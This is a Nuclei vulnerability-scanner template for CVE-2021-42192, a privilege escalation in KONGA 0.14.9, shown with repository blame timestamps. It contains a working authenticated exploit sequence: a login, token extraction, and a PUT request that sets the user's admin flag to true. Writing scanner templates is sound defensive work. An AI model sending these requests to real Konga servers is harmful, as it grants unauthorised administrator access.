nuclei-templates/http/cves/2021/CVE-2021-42192.yaml

92 lines
2.7 KiB
YAML
Raw Normal View History

id: CVE-2021-42192
info:
name: KONGA 0.14.9 - Privilege Escalation
author: rschio
severity: high
description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor.
reference:
- http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
- https://www.exploit-db.com/exploits/50521
- hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192
- https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing
2023-07-11 19:49:27 +00:00
- https://github.com/pantsel/konga/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-42192
2023-07-11 19:49:27 +00:00
cwe-id: CWE-863
epss-score: 0.0106
epss-percentile: 0.82558
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:konga_project:konga:0.14.9:*:*:*:*:*:*:*
metadata:
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: konga_project
product: konga
tags: authenticated,edb,cve,cve2021,konga,intrusive
http:
2022-04-02 09:09:25 +00:00
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2022-04-02 09:09:25 +00:00
{"password": "{{password}}", "identifier": "{{username}}"}
- |
POST /api/user/{{id}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Content-Type: application/json;charset=utf-8
{"token": "{{token}}"}
- |
PUT /api/user/{{id}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Content-Type: application/json;charset=utf-8
{"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}
req-condition: true
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
2022-04-02 09:09:25 +00:00
- type: dsl
dsl:
2023-07-11 19:49:27 +00:00
- contains(body_2, "\"admin\":false")
- contains(body_3, "\"admin\":true")
2022-04-02 09:09:25 +00:00
condition: and
- type: word
2022-04-02 09:09:25 +00:00
part: header
words:
2023-07-11 19:49:27 +00:00
- application/json
2022-04-02 09:09:25 +00:00
- type: status
status:
- 200
extractors:
- type: regex
2022-04-02 09:09:25 +00:00
name: id
group: 1
regex:
- '"id":([0-9]+)'
2023-07-11 19:49:27 +00:00
internal: true
part: body
2022-04-02 09:09:25 +00:00
- type: regex
name: token
group: 1
regex:
- '"token":"(.*)"'
2023-07-11 19:49:27 +00:00
internal: true
part: body
# digest: 4a0a0047304502202cbee642eeabca946cb0b91e114fd1f2851add9d50143848d5307dd2e9b46853022100b12d3a17d2ac5a1d13480b893a669d26915b36a3d46803536d036abe986ced66:922c64590222798bb761d5b6d8e72950